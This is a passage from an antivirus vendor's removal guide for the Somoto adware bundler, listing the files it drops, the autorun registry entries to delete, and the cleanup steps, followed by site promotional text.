C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\loading[1].gif (200 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\7e5817bad781bbc2d2e43b350ccb53db[1].png (5464 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\58d196b3e886a838d021adc8c8848f1e[1].png (1160 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\567f43cb72fe3ac6419369953394cadd[1].png (38085 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\jquery.min[1].js (49456 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\config[1].json (778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\4.5stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\7c9d412c730603d1d82b98a548a71bac[1].png (8048 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\589b1e936e1f038dc45bd8ffff59b359[1].png (21240 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\7d4f668f3d1818d01b6b9684b669d0db[1].png (5837 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\ac5196fbf245580eee113296dff14d0b[1].png (8855 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\83a4cee7a59522b93ed0ae1fa73ce8f3[1].png (2888 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\59982d8527c0da41e35817e8fc15c0fc[1].png (4648 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\f1ed3cd0cae7a3524376e6f9369c7ab8[1].png (6151 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\lightbox[1].css (426 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\3d8bbea6bcae57d705c676f7050a7d51[1].png (4648 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\0692c2494a7331a77c05954f79c5480a[1].png (8120 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\e94782c9200f8de809a50327879df1cc[1].png (24007 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\f4e4b853ddab3b763f0af17d513631bd[1].png (21439 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\css[1].css (155 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\ace33f0a1eddf74bbe8d1bfac70deded[1].png (12453 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\c16ddcefe8d9f0d1f850dfcd8f36687d[1].jpg (4648 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\3.5stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\1f8ffa22b53dfc2f6b7f1850bb6b73e8[1].png (11190 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\home[1].htm (2911 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\jquery-ui.min[1].js (116492 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\logo_illust[1].jpg (6 bytes)
%Program Files% (x86)\App Lid\utils.exe (83785 bytes)
%Program Files% (x86)\App Lid\8652fd7b-ad3d-42ae-954c-19d2b83040c5-5.exe (7726 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEB0B.tmp\459770 (93787 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\ipgeoapi_com[1].json (40 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEB0B.tmp\344870 (3933 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEB0B.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsfEADC.tmp (685243 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEB0B.tmp\ExecDos.dll (13 bytes)
%Program Files% (x86)\App Lid\Uninstall.exe (601 bytes)
C:\Windows\Tasks\8652fd7b-ad3d-42ae-954c-19d2b83040c5-5_user.job (74 bytes)
%Program Files% (x86)\App Lid\8652fd7b-ad3d-42ae-954c-19d2b83040c5-4.exe (9654 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEB0B.tmp\UserInfo.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEB0B.tmp\md5dll.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEB0B.tmp\InstallerUtils2.dll (3730 bytes)
C:\Windows\Tasks\8652fd7b-ad3d-42ae-954c-19d2b83040c5-5.job (74 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEB0B.tmp\8652fd7b-ad3d-42ae-954c-19d2b83040c5-4.dll (38904 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEB0B.tmp\StdUtils.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEB0B.tmp\InstallerUtils.dll (31245 bytes)
%Program Files% (x86)\App Lid\8652fd7b-ad3d-42ae-954c-19d2b83040c5.xpi (2321 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEB0B.tmp\nsisos.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{D56FE129-CBB6-41EE-8621-5CCFC63EDA2F}\Windows Imaging Component (x64).prq (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{D56FE129-CBB6-41EE-8621-5CCFC63EDA2F}\Windows Installer 3.1 for Windows Server 2003 SP1 (IA64).prq (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isDD2A.tmp (705 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~DEEB.tmp (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\easyburner[1].msi (2317485 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isDCE7.tmp (345 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isDE0A.tmp (672 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isDD2B..dll (15945 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{D56FE129-CBB6-41EE-8621-5CCFC63EDA2F}\Windows Installer 3.1 for Windows Server 2003 SP1 (x64).prq (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{D56FE129-CBB6-41EE-8621-5CCFC63EDA2F}\Setup.INI (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{D56FE129-CBB6-41EE-8621-5CCFC63EDA2F}\0x0409.ini (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{D56FE129-CBB6-41EE-8621-5CCFC63EDA2F}\Windows Installer 3.1 for Windows Server 2003 SP1 (x86).prq (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isDD08.tmp (77 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{D56FE129-CBB6-41EE-8621-5CCFC63EDA2F}\_ISMSIDEL.INI (31406 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isDE8C.tmp (647 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{D56FE129-CBB6-41EE-8621-5CCFC63EDA2F}\Windows Installer 3.1 for Windows XP (x64).prq (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isDD9C..dll (15945 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~DCF8.tmp (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isDD8B.tmp (667 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{D56FE129-CBB6-41EE-8621-5CCFC63EDA2F}\Windows Installer 3.1 (x86).prq (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isDE1A.tmp (671 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isDD0A.tmp (77 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isDEFE.tmp (77 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~DD09.tmp (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{D56FE129-CBB6-41EE-8621-5CCFC63EDA2F}\Windows Imaging Component (x86).prq (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isDE9C..dll (15945 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isDE6A.tmp (668 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isDD7A.tmp (692 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~DEFD.tmp (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isDE2B..dll (15945 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{D56FE129-CBB6-41EE-8621-5CCFC63EDA2F}\easyburner.msi (55707 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isDEEC.tmp (77 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isDE7B..dll (15945 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isDCD6.tmp (77 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz3C9.tmp\setup.exe (1581404 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz3C9.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz3C9.tmp\D1958.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj3B8.tmp (151471 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz3C9.tmp\setup1.exe (142646 bytes)
%Program Files% (x86)\YouTube Accelerator\instlsp.log (253 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\lm (128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszAFEE.tmp\inetc.dll (44 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszAFEE.tmp\WmiInspector.dll (3137 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ilg (297418 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszAFEE.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszAFEE.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\SourceApp.mg.exe (7780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\tlg (41 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszAFEE.tmp\ExecDos.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\mj (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszAFEE.tmp\NSISEncrypt.dll (3412 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszAFEE.tmp\nsJSON.dll (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszAFEE.tmp\IpConfig.dll (4254 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszAFEE.tmp\UserInfo.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\storage.js (979 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\WebPlayer.exe (7533 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\web_player\initialize.js (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\common.js (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\initialize.js (66 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\main.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\main.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\Uninstall.exe (843 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\jsonstorage.js (651 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\config.xml (823 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\json.js (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\shortcut.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\web_player\web_player.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\installer.js (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\xhr.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\tray.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\stub.html (680 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\event_listener.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\utils.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\io.js (751 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskD72D.tmp\nsExec.dll (14 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\YTAHelper_64.png (4 bytes)
%Program Files% (x86)\YTAHelper\FireFox\chrome.manifest (111 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.exe (32824 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp1C39.tmp\nsProcess.dll (12 bytes)
%Program Files% (x86)\YTAHelper\FireFox\install.rdf (884 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.sys (1856 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp1C39.tmp\nsExec.dll (14 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.js (13 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.xul (203 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp1C39.tmp\AccDownload.dll (11671 bytes)
C:\Users\Public\Documents\YTAHelper\JsDriver\Config.xml (1 bytes)
%Program Files% (x86)\YTAHelper\yta_database1_0_0.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp1C39.tmp\MoreInfo.dll (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp1C39.tmp\System.dll (23 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.dll (15168 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.exe (100378 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp1C38.tmp (116682 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper64.dll (17848 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp1C39.tmp\jsdrv.exe (100669 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\EasyBurner\Logs\150224_u.log (498 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe (8413 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj4460.tmp (6464 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\config.ini (97 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_31962\ins_yta.exe (31172 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_31962\ins_postInst.exe (3063 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_22162\DCytaiesmt_smtyc_setup.exe (7726 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\scripts\default_config.json (791 bytes)
C:\Users\"%CurrentUserName%"\Desktop\AppsHat.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\shortcut.ico (6242 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\64x64[1].ico (5575 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\main.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\16x16[1].ico (1150 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\scripts\config.xml (819 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\config[1].json (778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\AppsHat\Uninstall.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe (204 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\AppsHat\AppsHat.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\tray.ico (1 bytes)
C:\ProgramData\ShopperPro\spbihe.js (435 bytes)
C:\Windows\Temp\SPBI_cache_iexplore.exe.cache (1032 bytes)
%Program Files% (x86)\XTab\web\img\googlelogo.png (7 bytes)
%Program Files% (x86)\XTab\web\js\jquery-1.11.0.min.js (4726 bytes)
%Program Files% (x86)\XTab\skin\btn.png (2 bytes)
%Program Files% (x86)\XTab\install.data (68 bytes)
%Program Files% (x86)\XTab\web\_locales\zh-CN\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\_locales\en-US\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\img\loading.gif (5 bytes)
%Program Files% (x86)\XTab\web\_locales\es-419\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\indexIE8.html (1816 bytes)
%Program Files% (x86)\XTab\web\js\library.js (4216 bytes)
%Program Files% (x86)\XTab\web\_locales\pt\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\arrow.png (259 bytes)
%Program Files% (x86)\XTab\web\ver.txt (5 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-BE\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\input_bk.png (2 bytes)
%Program Files% (x86)\XTab\web\_locales\pl\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\_locales\it-IT\messages.json (4 bytes)
%Program Files% (x86)\XTab\skin\conf_back.png (1623 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-CA\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\img\weather\0.png (1 bytes)
%Program Files% (x86)\XTab\skin\btn_apply.png (6 bytes)
%Program Files% (x86)\XTab\skin\conf.xml (8 bytes)
%Program Files% (x86)\XTab\web\indexIE.html (1 bytes)
%Program Files% (x86)\XTab\web\_locales\ru-MO\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\js\xagainit-ie8.js (3 bytes)
%Program Files% (x86)\XTab\skin\about_bk.png (1436 bytes)
%Program Files% (x86)\XTab\web\_locales\es-ES\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\main.xml (4 bytes)
%Program Files% (x86)\XTab\web\img\default_add_logo_hover.png (1 bytes)
%Program Files% (x86)\XTab\skin\radio_2.png (3 bytes)
%Program Files% (x86)\XTab\msvcr110.dll (22156 bytes)
%Program Files% (x86)\XTab\searchProvider.xml (8 bytes)
%Program Files% (x86)\XTab\web\_locales\it-CH\messages.json (3 bytes)
%Program Files% (x86)\XTab\ProtectService.exe (5471 bytes)
%Program Files% (x86)\XTab\web\js\js.js (18 bytes)
%Program Files% (x86)\XTab\ffsearch_toolbar!1.0.0.1025.xpi (14 bytes)
%Program Files% (x86)\XTab\web\img\default_add_logo.png (1 bytes)
%Program Files% (x86)\XTab\skin\logo.png (5 bytes)
%Program Files% (x86)\XTab\web\js\xagainit2.0.js (3 bytes)
%Program Files% (x86)\XTab\web\data.html (20 bytes)
%Program Files% (x86)\XTab\web\js\xagainit.js (3 bytes)
%Program Files% (x86)\XTab\web\img\googlelogo2.png (1526 bytes)
%Program Files% (x86)\XTab\web\main.css (19 bytes)
%Program Files% (x86)\XTab\web\_locales\vi-VI\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\_locales\ru\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\icon48.png (3 bytes)
%Program Files% (x86)\XTab\skin\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk8843.tmp\System.dll (23 bytes)
%Program Files% (x86)\XTab\web\img\logo32.ico (4 bytes)
%Program Files% (x86)\XTab\web\img\icon128.png (9 bytes)
%Program Files% (x86)\XTab\web\js\jquery.autocomplete.js (12 bytes)
%Program Files% (x86)\XTab\uninstall.exe (1343 bytes)
%Program Files% (x86)\XTab\skin\about.png (4 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-FR\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\img\icon16.png (628 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-CH\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\settings.png (5 bytes)
%Program Files% (x86)\XTab\web\img\default_logo.png (5 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-LU\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\js\ga.js (1568 bytes)
%Program Files% (x86)\XTab\web\js\common.js (2 bytes)
%Program Files% (x86)\XTab\web\_locales\tr-TR\messages.json (4 bytes)
%Program Files% (x86)\XTab\SupTab.dll (6812 bytes)
%Program Files% (x86)\XTab\web\js\ie8.js (156 bytes)
%Program Files% (x86)\XTab\web\_locales\pt-BR\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\google_trends.png (7 bytes)
%Program Files% (x86)\XTab\web\_locales\zh-TW\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\rigth_arrow.png (2 bytes)
%Program Files% (x86)\XTab\msvcp110.dll (17526 bytes)
%Program Files% (x86)\XTab\skin\radio_1.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoE6E6.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszE6D6.tmp (35969 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoE6E6.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoE6E6.tmp\DCytaiesmt_smtyc_setup.exe (379403 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoE6E6.tmp\D1989.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoE6E6.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoE6E6.tmp\FF21A5D4D8C96ED7 (34773 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7B8944BA8AD0EFDF0E01A43EF62BECD0_0B392C5099259E005752375141B9C59A (1504 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 (57 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7B8944BA8AD0EFDF0E01A43EF62BECD0_0B392C5099259E005752375141B9C59A (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6 (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6 (1504 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 (680 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CabFA36.tmp (57 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 (328 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\TarFA37.tmp (2784 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce]
"easyburnerit" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe /startup"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1508.0.0.0\jsdrv.exe"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1508.0.0.0\jsdrv.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"AppsHat" = "C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe"
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Permalink

Back to the blog

e-mail

Google+

Twitter

Facebook

Application.Bundler.Somoto.I_9fd81c1199

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Discover the new adaware antivirus 12

Our best antivirus yet

Application.Bundler.Somoto.I_9fd81c1199

E-mail

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Discover the new adaware antivirus 12

Our best antivirus yet